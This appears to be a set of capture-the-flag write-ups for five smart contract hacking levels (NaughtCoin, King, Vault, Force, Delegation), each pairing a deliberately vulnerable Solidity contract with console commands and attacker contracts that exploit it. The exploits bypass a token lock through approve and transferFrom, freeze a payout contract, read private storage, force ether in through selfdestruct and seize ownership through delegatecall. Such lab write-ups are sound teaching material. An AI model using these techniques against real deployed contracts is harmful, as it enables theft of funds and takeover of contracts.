28 Aug 2022
Difficulty: πππππ
NaughtCoin is an ERC20 token and youβre already holding all of them. The catch is that youβll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
Things that might help
- The ERC20 Spec
- The OpenZeppelin codebase
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
Writeup
What is ERC20 :
Lack of implement crucial function ( approve()
& transferfrom()
) make this contract vulnerable.
- Call the method in console
await contract.approve(player,toWei("1000000"))
- Call the method in console
await contract.transferFrom(player,'0x3aadd6ddcc24819bb05426ac8be5814e975e23da',toWei("1000000"))
// anaother account
- Check by calling the method in console
await contract.balanceOf(player).then(v=>v.toString())
// '0'
await contract.balanceOf('0x3aadd6ddcc24819bb05426ac8be5814e975e23da').then(v=>v.toString())
// '1000000000000000000000000'
- Submit instance ΞΎ( βΏοΌβ‘β)
28 Aug 2022
Difficulty: πππππ
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
Writeup
There is the warning from Solidity document :
When Ether is sent directly to a contract (without a function call, i.e. sender uses send or transfer) but the receiving contract does not define a receive Ether function or a payable fallback function, an exception will be thrown, sending back the Ether (this was different before Solidity v0.4.0). If you want your contract to receive Ether, you have to implement a receive Ether function (using payable fallback functions for receiving Ether is not recommended, since the fallback is invoked and would not fail for interface confusions on the part of the sender).
If king is a contract that can not receive Ether, king.transfer(msg.value)
fails every time it is executed.
- Get new instance.
- Call the method
await contract._king()
// '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'
// owner address is '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5' too.
- Create a contract without
receive
and fallback
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './9_King.sol';
contract KingAttacker {
function attack(address payable _addr) public payable {
King king = King(_addr);
(bool sent, ) = address(king).call.value(msg.value)("");
require(sent, "Failed to send value");
}
}
- Compile & deploy.
- Call
attack
method with the level instance address as the parameter _addr
and value 1wei ( the same as state variable prize
) .
- Call the method
await contract._king()
// Your KingAttacker contract address
- Submit instance ΞΎ( βΏοΌβ‘β)
Reference
28 Aug 2022
Difficulty: πππππ
Unlock the vault to pass the level!
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
Writeup
How can we get private variable password ? Well, There is an important method everyone should know : web3.eth.getStorageAt(...)
, checkout web3.js document to get details.
State variables marked as private and local variables are still publicly accessible.
- Get new Instance.
- Call the method
await contract.locked()
// true
- Call the method
await web3.eth.getStorageAt('0x7B794D77e945A806b2c6Ca41cb4bB6977F37D340', 1);
// '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
- Call web3 method
web3.utils.toAscii('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
// 'A very strong secret password :)'
- Call the method
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
- Call the method
await contract.locked()
// false
- Submit instance ΞΎ( βΏοΌβ‘β)
28 Aug 2022
Difficulty: πππππ
Some contracts will simply not take your money Β―_(γ)_/Β―
The goal of this level is to make the balance of the contract greater than zero.
Things that might help:
- Fallback methods
- Sometimes the best way to attack a contract is with another contract.
- See the Help page above, section βBeyond the consoleβ
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ΓΈ= /
(______)__m_m)
*/}
Writeup
The keypoint to complete this level is selfdestruct
. After calling selfdestruct
method, contract will send all remaining Ether to a designated address. A malicious contract can use selfdestruct to force sending Ether to any contract.
- Get new Instance.
- Create a contract
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ΓΈ= /
(______)__m_m)
*/}
contract ForceAttacker {
Force force;
// For a contract to be able to receive ether, the constructor function must be marked payable.
constructor(Force _force) payable {
force = Force(_force);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function attack() public {
address payable addr = payable(address(force));
selfdestruct(addr);
}
}
- Compile & Deploy

- Click getBalnce button, it will return 1wei.

- Click attack button. The contract will self-destruct, and the remaining 1wei will be send to Force contract.
- Submit instance ΞΎ( βΏοΌβ‘β)
Reference
Solidity by example - Self Destruct
28 Aug 2022
Difficulty: πππππ
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidityβs documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
- Fallback methods
- Method ids
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Writeup
- Get new Instance.
- Call the method
await contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature("pwn()")})
You can find the detail about encodeFunctionSignature()
in there .
- Submit instance ΞΎ( βΏοΌβ‘β)
Reference
Solidity by example - delegatecall